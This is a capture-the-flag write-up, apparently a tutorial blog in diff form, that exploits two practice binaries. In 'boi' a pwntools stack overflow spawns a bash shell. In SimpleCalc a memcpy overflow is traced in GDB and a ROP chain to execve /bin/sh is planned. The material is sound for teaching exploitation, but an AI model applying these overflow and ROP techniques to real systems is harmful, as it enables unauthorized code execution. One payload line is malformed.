Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||||
Reading symbols from ./boi...
|
||||
(No debugging symbols found in ./boi)
|
||||
gef➤ b *0x4006a5
|
||||
Breakpoint 1 at 0x4006a5
|
||||
gef➤ r < input
|
||||
Starting program: /home/nothing/binexp/2/boi < input
|
||||
Are you a big boiiiii??
|
||||
|
||||
Breakpoint 1, 0x00000000004006a5 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x18
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
|
||||
$rdx : 0x18
|
||||
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
|
||||
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?)
|
||||
$rdi : 0x0
|
||||
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
|
||||
$r8 : 0x18
|
||||
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
|
||||
$r10 : 0xfffffffffffff28b
|
||||
$r11 : 0x246
|
||||
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
|
||||
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
|
||||
0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi
|
||||
0x00007fffffffe108│+0x0018: 0x3030303030303030
|
||||
0x00007fffffffe110│+0x0020: 0xcaf3baee30303030
|
||||
0x00007fffffffe118│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
|
||||
0x00007fffffffe128│+0x0038: 0xeacf1d34e3c42300
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400698 mov rsi, rax
|
||||
0x40069b mov edi, 0x0
|
||||
0x4006a0 call 0x400500
|
||||
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
|
||||
0x4006a8 cmp eax, 0xcaf3baee
|
||||
0x4006ad jne 0x4006bb
|
||||
0x4006af mov edi, 0x40077c
|
||||
0x4006b4 call 0x400626
|
||||
0x4006b9 jmp 0x4006c5
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4006a5 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤ search-pattern 00000000000000
|
||||
[+] Searching '00000000000000' in memory
|
||||
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5e000-0x7ffff7fa8000), permission=r--
|
||||
0x7ffff7f7fd50 - 0x7ffff7f7fd60 → "0000000000000000"
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffe100 - 0x7fffffffe10e → "00000000000000[...]"
|
||||
gef➤ x/10g 0x7fffffffe100
|
||||
0x7fffffffe100: 0x3030303030303030 0x3030303030303030
|
||||
0x7fffffffe110: 0xcaf3baee30303030 0x0
|
||||
0x7fffffffe120: 0x7fffffffe220 0xeacf1d34e3c42300
|
||||
0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a
|
||||
0x7fffffffe140: 0x7fffffffe228 0x100000000
|
||||
|
||||
|
||||
|
||||
and this time we successfully overwrote the 0xdeadbeef value with our own 0xcaf3baee value! so when we continue onto the cmp instruction related to the if statement, we can see that we actually pass the check correctly, we need to se the next breakpoint at 0x4006a8 because this is where the CMP assembly instruction is:
|
||||
|
||||

|
||||
|
||||
|
||||
004006a8 3d ee ba CMP EAX,0xcaf3baee
|
||||
f3 ca
|
||||
|
||||
004006ad 75 0c JNZ LAB_004006bb
|
||||
004006af bf 7c 07 MOV EDI=>s_/bin/bash_0040077c,s_/bin/bash_0040077c = "/bin/bash"
|
||||
40 00
|
||||
004006b4 e8 6d ff CALL run_cmd undefined run_cmd()
|
||||
ff ff
|
||||
|
||||
|
||||
|
||||
|
||||
gef➤ b *0x4006a8
|
||||
Breakpoint 2 at 0x4006a8
|
||||
gef➤ c
|
||||
Continuing.
|
||||
|
||||
Breakpoint 2, 0x00000000004006a8 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0xcaf3baee
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
|
||||
$rdx : 0x18
|
||||
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
|
||||
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?)
|
||||
$rdi : 0x0
|
||||
$rip : 0x00000000004006a8 → cmp eax, 0xcaf3baee
|
||||
$r8 : 0x18
|
||||
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
|
||||
$r10 : 0xfffffffffffff28b
|
||||
$r11 : 0x246
|
||||
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
|
||||
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
|
||||
0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi
|
||||
0x00007fffffffe108│+0x0018: 0x3030303030303030
|
||||
0x00007fffffffe110│+0x0020: 0xcaf3baee30303030
|
||||
0x00007fffffffe118│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
|
||||
0x00007fffffffe128│+0x0038: 0xeacf1d34e3c42300
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x40069b mov edi, 0x0
|
||||
0x4006a0 call 0x400500
|
||||
● 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
|
||||
●→ 0x4006a8 cmp eax, 0xcaf3baee
|
||||
0x4006ad jne 0x4006bb
|
||||
0x4006af mov edi, 0x40077c
|
||||
0x4006b4 call 0x400626
|
||||
0x4006b9 jmp 0x4006c5
|
||||
0x4006bb mov edi, 0x400786
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "boi", stopped 0x4006a8 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4006a8 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
Now from here we see the cmp value is comparing the eax register to the value 0xcaf3baee, so let's check what is inside eax:
|
||||
|
||||
|
||||
gef➤ p $eax
|
||||
$1 = 0xcaf3baee
|
||||
|
||||
|
||||
|
||||
So this means we should successfully pass the cmp instruction because both values are equal to 0xcaf3baee, so let's use python's pwntools to write an exploit to solve the challenge:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ ls
|
||||
boi input
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
#First, import the pwntools library
|
||||
from pwn import *
|
||||
|
||||
#then set the target as the ./boi process
|
||||
target = process ('./boi')
|
||||
|
||||
#then create the 14 0 bytes and little endian caf3baee payload
|
||||
payload = "0"*0x14 + + "\xee\xba\xf3\xca"
|
||||
|
||||
# send the payload to the process
|
||||
target.send(payload)
|
||||
|
||||
#and then drop into a shell to view the result
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
now let's test it:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './boi': pid 9071
|
||||
[*] Switching to interactive mode
|
||||
Are you a big boiiiii??
|
||||
$ id
|
||||
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),113(kaboxer)
|
||||
$ echo $0
|
||||
/bin/bash
|
||||
|
||||
|
||||
and we succeeded ! It managed to spawn the bash shell like we wanted.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
851
2/calc.md
Normal file
|
@ -0,0 +1,851 @@
|
|||
# BKP 2016 SimpleCalc
|
||||
|
||||
Holy shit there is a HUGE jump in difficulty at this point, buckle up !
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/bkp16_simplecalc/simplecalc
|
||||
--2021-03-05 18:28:45-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/bkp16_simplecalc/simplecalc
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/bkp16_simplecalc/simplecalc [following]
|
||||
--2021-03-05 18:28:46-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/bkp16_simplecalc/simplecalc
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 882266 (862K) [application/octet-stream]
|
||||
Saving to: ‘simplecalc’
|
||||
|
||||
simplecalc 100%[============================================================================================================================================================================>] 861.59K 2.36MB/s in 0.4s
|
||||
|
||||
2021-03-05 18:28:47 (2.36 MB/s) - ‘simplecalc’ saved [882266/882266]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ file simplecalc
|
||||
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ chmod +x simplecalc
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's check what the binary does by executing it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ./simplecalc
|
||||
|
||||
|#------------------------------------#|
|
||||
| Something Calculator |
|
||||
|#------------------------------------#|
|
||||
|
||||
Expected number of calculations: 3
|
||||
Invalid number.
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ./simplecalc
|
||||
|
||||
|#------------------------------------#|
|
||||
| Something Calculator |
|
||||
|#------------------------------------#|
|
||||
|
||||
Expected number of calculations: 1
|
||||
Invalid number.
|
||||
|
||||
|
||||
|
||||
|
||||
The binary file prints out some text, and then asks for some input, and then just says 'invalid' so let's check it from inside ghidra:
|
||||
|
||||

|
||||
|
||||
So we get the following code:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
undefined auStack72 [40];
|
||||
int iStack32;
|
||||
int iStack28;
|
||||
void *pvStack24;
|
||||
int iStack12;
|
||||
|
||||
iStack28 = 0;
|
||||
setvbuf((FILE *)stdin,(char *)0x0,2,0);
|
||||
setvbuf((FILE *)stdout,(char *)0x0,2,0);
|
||||
print_motd();
|
||||
printf("Expected number of calculations: ");
|
||||
__isoc99_scanf(&DAT;_00494214,&iStack28;);
|
||||
handle_newline();
|
||||
if ((iStack28 < 0x100) && (3 < iStack28)) {
|
||||
pvStack24 = malloc((long)(iStack28 << 2));
|
||||
iStack12 = 0;
|
||||
while (iStack12 < iStack28) {
|
||||
print_menu();
|
||||
__isoc99_scanf(&DAT;_00494214,&iStack32;);
|
||||
handle_newline();
|
||||
if (iStack32 == 1) {
|
||||
adds();
|
||||
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = add._8_4_;
|
||||
}
|
||||
else {
|
||||
if (iStack32 == 2) {
|
||||
subs();
|
||||
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = sub._8_4_;
|
||||
}
|
||||
else {
|
||||
if (iStack32 == 3) {
|
||||
muls();
|
||||
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = mul._8_4_;
|
||||
}
|
||||
else {
|
||||
if (iStack32 == 4) {
|
||||
divs();
|
||||
*(undefined4 *)((long)iStack12 * 4 + (long)pvStack24) = divv._8_4_;
|
||||
}
|
||||
else {
|
||||
if (iStack32 == 5) {
|
||||
memcpy(auStack72,pvStack24,(long)(iStack28 << 2));
|
||||
free(pvStack24);
|
||||
return 0;
|
||||
}
|
||||
puts("Invalid option.\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
iStack12 = iStack12 + 1;
|
||||
}
|
||||
free(pvStack24);
|
||||
}
|
||||
else {
|
||||
puts("Invalid number.");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Here we see that the main function checks if our input number is between 3 and 0x100, if no tit just prints 'Invalid Number' now let's run the binary again to verify that:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ./simplecalc
|
||||
|
||||
|#------------------------------------#|
|
||||
| Something Calculator |
|
||||
|#------------------------------------#|
|
||||
|
||||
Expected number of calculations: 5
|
||||
Options Menu:
|
||||
[1] Addition.
|
||||
[2] Subtraction.
|
||||
[3] Multiplication.
|
||||
[4] Division.
|
||||
[5] Save and Exit.
|
||||
=> 1
|
||||
Integer x: 1
|
||||
Integer y: 2
|
||||
Do you really need help calculating such small numbers?
|
||||
Shame on you... Bye
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ./simplecalc
|
||||
|
||||
|#------------------------------------#|
|
||||
| Something Calculator |
|
||||
|#------------------------------------#|
|
||||
|
||||
Expected number of calculations: 5
|
||||
Options Menu:
|
||||
[1] Addition.
|
||||
[2] Subtraction.
|
||||
[3] Multiplication.
|
||||
[4] Division.
|
||||
[5] Save and Exit.
|
||||
=> 1
|
||||
Integer x: 123456
|
||||
Integer y: 654321
|
||||
Result for x + y is 777777.
|
||||
|
||||
Options Menu:
|
||||
[1] Addition.
|
||||
[2] Subtraction.
|
||||
[3] Multiplication.
|
||||
[4] Division.
|
||||
[5] Save and Exit.
|
||||
=> 5
|
||||
|
||||
|
||||
|
||||
Now we see some more info about the binary, looking back at the reversed code in ghidra we see some more info:
|
||||
|
||||
|
||||
__isoc99_scanf(&DAT;_00494214,&numberCalcs;);
|
||||
handle_newline();
|
||||
if ((numberCalcs < 0x100) && (3 < numberCalcs)) {
|
||||
calculations = malloc((long)(numberCalcs << 2));
|
||||
|
||||
|
||||
after scanning for our input, we give a correct number of calculations, we see that it malloc a size equal to **numberCalcs****< 2 ** and then store the pointer to it in the **calculations** variable this is the same operation as doing numverCalcs * 4. Basically, allocating numberCalcs number of integers which each of them are 4 bytes large. Then it will enter into a while loop that runs once for each calculation we will specify. Looking at the assembly code for the multiplication section, we see the muls function:
|
||||
|
||||

|
||||
|
||||
|
||||
004014d3 83 f8 03 CMP EAX,0x3
|
||||
004014d6 75 23 JNZ LAB_004014fb
|
||||
004014d8 e8 cb fd CALL muls
|
||||
|
||||
|
||||
|
||||
Now let's take a look at the muls function:
|
||||
|
||||
|
||||
void muls(void)
|
||||
|
||||
{
|
||||
printf("Integer x: ");
|
||||
__isoc99_scanf(&DAT;_00494214,mul);
|
||||
handle_newline();
|
||||
printf("Integer y: ");
|
||||
__isoc99_scanf(&DAT;_00494214,0x6c4aa4);
|
||||
handle_newline();
|
||||
if ((0x27 < mul._0_4_) && (0x27 < mul._4_4_)) {
|
||||
mul._8_4_ = mul._4_4_ * mul._0_4_;
|
||||
printf("Result for x * y is %d.\n\n",(ulong)mul._8_4_);
|
||||
return;
|
||||
}
|
||||
puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
Here it basically checks that the 2 numbers are equal or greater to 0x27, The other operations (add, sub, div are p much the same) The bug that we need to notice is at the 5th option:
|
||||
|
||||
|
||||
if (local_20 == 5) {
|
||||
memcpy(local_48,local_18,(long)(local_1c << 2));
|
||||
free(local_18);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
In here there is the memcpy function being used to copy our calculations into**local_48** which is a vulnerable buffer because it does not do a size check, therefore if we have enough calculations, we can overflow the buffer and overwrite the return address because there is no stack canary to prevent this as you can see below:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ pwn checksec simplecalc
|
||||
[*] '/home/nothing/binexp/2/calc/simplecalc'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
|
||||
|
||||
Now from here we want to find the offset between the start of our input and the return address using gdb:
|
||||
|
||||

|
||||
|
||||
We want the first breakpoint to be right after the memcpy function so we choose the address of **0x0040154a**
|
||||
|
||||
|
||||
gef➤ b *0x40154a
|
||||
Breakpoint 1 at 0x40154a
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/calc/simplecalc
|
||||
|
||||
|
||||
|#------------------------------------#|
|
||||
| Something Calculator |
|
||||
|#------------------------------------#|
|
||||
|
||||
Expected number of calculations: 50
|
||||
Options Menu:
|
||||
[1] Addition.
|
||||
[2] Subtraction.
|
||||
[3] Multiplication.
|
||||
[4] Division.
|
||||
[5] Save and Exit.
|
||||
=> 1
|
||||
Integer x: 13371337
|
||||
Integer y: 13371337
|
||||
Result for x + y is 26742674.
|
||||
|
||||
Options Menu:
|
||||
[1] Addition.
|
||||
[2] Subtraction.
|
||||
[3] Multiplication.
|
||||
[4] Division.
|
||||
[5] Save and Exit.
|
||||
=> 5
|
||||
|
||||
Breakpoint 1, 0x000000000040154a in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x00007fffffffdef0 → 0x0000000001980f92
|
||||
$rbx : 0x00000000004002b0 → <_init+0> sub rsp, 0x8
|
||||
$rcx : 0x0
|
||||
$rdx : 0x0
|
||||
$rsp : 0x00007fffffffdee0 → 0x00007fffffffe018 → 0x00007fffffffe34d → "/home/nothing/binexp/2/calc/simplecalc"
|
||||
$rbp : 0x00007fffffffdf30 → 0x0000000000000000
|
||||
$rsi : 0x00000000006c8c98 → 0x0000000000020371
|
||||
$rdi : 0x00007fffffffdfb8 → 0x0000000000000000
|
||||
$rip : 0x000000000040154a → mov rax, QWORD PTR [rbp-0x10]
|
||||
$r8 : 0x0
|
||||
$r9 : 0x0
|
||||
$r10 : 0x0
|
||||
$r11 : 0x0
|
||||
$r12 : 0x0
|
||||
$r13 : 0x0000000000401c00 → <__libc_csu_init+0> push r14
|
||||
$r14 : 0x0000000000401c90 → <__libc_csu_fini+0> push rbx
|
||||
$r15 : 0x0
|
||||
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffdee0│+0x0000: 0x00007fffffffe018 → 0x00007fffffffe34d → "/home/nothing/binexp/2/calc/simplecalc" ← $rsp
|
||||
0x00007fffffffdee8│+0x0008: 0x0000000100400d41 ("A\r@"?)
|
||||
0x00007fffffffdef0│+0x0010: 0x0000000001980f92 ← $rax
|
||||
0x00007fffffffdef8│+0x0018: 0x0000000000000000
|
||||
0x00007fffffffdf00│+0x0020: 0x0000000000000000
|
||||
0x00007fffffffdf08│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffdf10│+0x0030: 0x0000000000000000
|
||||
0x00007fffffffdf18│+0x0038: 0x0000000000000000
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x40153d rex.RB ror BYTE PTR [r8-0x77], 0xce
|
||||
0x401542 mov rdi, rax
|
||||
0x401545 call 0x4228d0
|
||||
●→ 0x40154a mov rax, QWORD PTR [rbp-0x10]
|
||||
0x40154e mov rdi, rax
|
||||
0x401551 call 0x4156d0
|
||||
0x401556 mov eax, 0x0
|
||||
0x40155b jmp 0x401588
|
||||
0x40155d mov edi, 0x494402
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "simplecalc", stopped 0x40154a in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x40154a → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
Here we first set the breakpoint at **0x40154a** , then we ran the binary, we selected 50 calculations, then made an addition with the 2 numbers 13371337 and 13371337 which gave us a result of **26742674** , and then we selected 5 to exit and reach the **memcpy** call and thus, our breakpoint, Now what we want to know is where is the result (26742674) stored ? To know this, we need to first know the hex value of our result:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/calc]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex(26742674)
|
||||
'0x1980f92'
|
||||
|
||||
|
||||
|
||||
Now we know that we have to find **0x1980f92** in memory, so we search for the 0x1980f92 pattern in gdb :
|
||||
|
||||
|
||||
gef➤ search-pattern '0x1980f92'
|
||||
[+] Searching '0x1980f92' in memory
|
||||
gef➤ search-pattern 0x1980f92
|
||||
[+] Searching '0x1980f92' in memory
|
||||
gef➤
|
||||
|
||||
|
||||
Now as you can see **0x198 0f92** is 7 bytes long. if we try to search that pattern, we won't find it:
|
||||
|
||||
|
||||
|
||||
gef➤ search-pattern 0x1980f92
|
||||
[+] Searching '0x1980f92' in memory
|
||||
|
||||
|
||||
|
||||
So here we need to add an extra zero to end up with 8 bytes: **0x0198 0f92** and then we can find the pattern in memory:
|
||||
|
||||
|
||||
gef➤ search-pattern 0x01980f92
|
||||
[+] Searching '\x92\x0f\x98\x01' in memory
|
||||
[+] In '[heap]'(0x6c3000-0x6e9000), permission=rw-
|
||||
0x6c4a88 - 0x6c4a98 → "\x92\x0f\x98\x01[...]"
|
||||
0x6c8bd0 - 0x6c8be0 → "\x92\x0f\x98\x01[...]"
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffb158 - 0x7fffffffb168 → "\x92\x0f\x98\x01[...]"
|
||||
0x7fffffffdef0 - 0x7fffffffdf00 → "\x92\x0f\x98\x01[...]"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0x7fffffffdf40:
|
||||
rip = 0x40154a in main; saved rip = 0x0
|
||||
Arglist at 0x7fffffffdf30, args:
|
||||
Locals at 0x7fffffffdf30, Previous frame's sp is 0x7fffffffdf40
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffdf30, rip at 0x7fffffffdf38
|
||||
|
||||
|
||||
|
||||
Now here we see that the pattern is at **0x7fffffffdef0** and the return address is at **0x7fffffffdf38**. So we can calculate the offset:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [blog/binexp/2]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffdef0 - 0x7fffffffdf38 )
|
||||
'-0x48'
|
||||
|
||||
|
||||
|
||||
Now we know that there is a 0x48 bytes offset between the pattern an the return call. There are 4 bytes for each integer, so we can divide it by 4:
|
||||
|
||||
|
||||
>>> int(0x48)
|
||||
72
|
||||
>>> int(72 / 4)
|
||||
18
|
||||
|
||||
|
||||
|
||||
Now we know that we will need 18 integers, Now since the binary is statically linked and there is no PIE (as we saw earlier in the pwn checksec command output), We can build a rop chain using the binary for gadgets and without an infoleak. The ROP chain will make an execve syscall to **/bin/sh** just like in the previous tutorials except that now we need to take into account 4 registers that we need to control in order to make this syscall:
|
||||
|
||||
As we saw in our [previous](../asm/2.html) x86_64 assembly tutorials, we need rax to take in our syscall ID, rdi to take the first arguement, rsi to take the 2nd arguement and rdx to take the third arguement. We can use this list to know more about syscalls, and since we are in x86_64 we will use the syscall ID 59 (0x3b) to trigger execve:
|
||||
|
||||
|
||||
rax : 0x3b # syscall ID
|
||||
rdi : ptr to "/bin//sh" # arg 1 to spawn /bin/sh
|
||||
rsi : 0x0 # arg 2
|
||||
rdx : 0x0 # arg 3
|
||||
|
||||
|
||||
To do this, we need what's known as 'gadgets' to control those 4 registers. to find these gadgets we will use the following template**pop rax; ret**. we will use [ROPGadget.py](https://github.com/JonathanSalwan/ROPgadget):
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [~]
|
||||
→ sudo pip3 install capstone
|
||||
[sudo] password for nothing:
|
||||
Requirement already satisfied: capstone in /usr/lib/python3.9/site-packages (4.0.2)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [~]
|
||||
→ cd /opt
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
|
||||
→ git clone https://github.com/JonathanSalwan/ROPgadget
|
||||
fatal: could not create work tree dir 'ROPgadget': Permission denied
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
|
||||
→ sudo !!
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
|
||||
→ sudo git clone https://github.com/JonathanSalwan/ROPgadget
|
||||
Cloning into 'ROPgadget'...
|
||||
remote: Enumerating objects: 20, done.
|
||||
remote: Counting objects: 100% (20/20), done.
|
||||
remote: Compressing objects: 100% (14/14), done.
|
||||
remote: Total 3715 (delta 7), reused 12 (delta 6), pack-reused 3695
|
||||
Receiving objects: 100% (3715/3715), 22.62 MiB | 6.86 MiB/s, done.
|
||||
Resolving deltas: 100% (2286/2286), done.
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
|
||||
→ cd ROPgadget
|
||||
|
||||
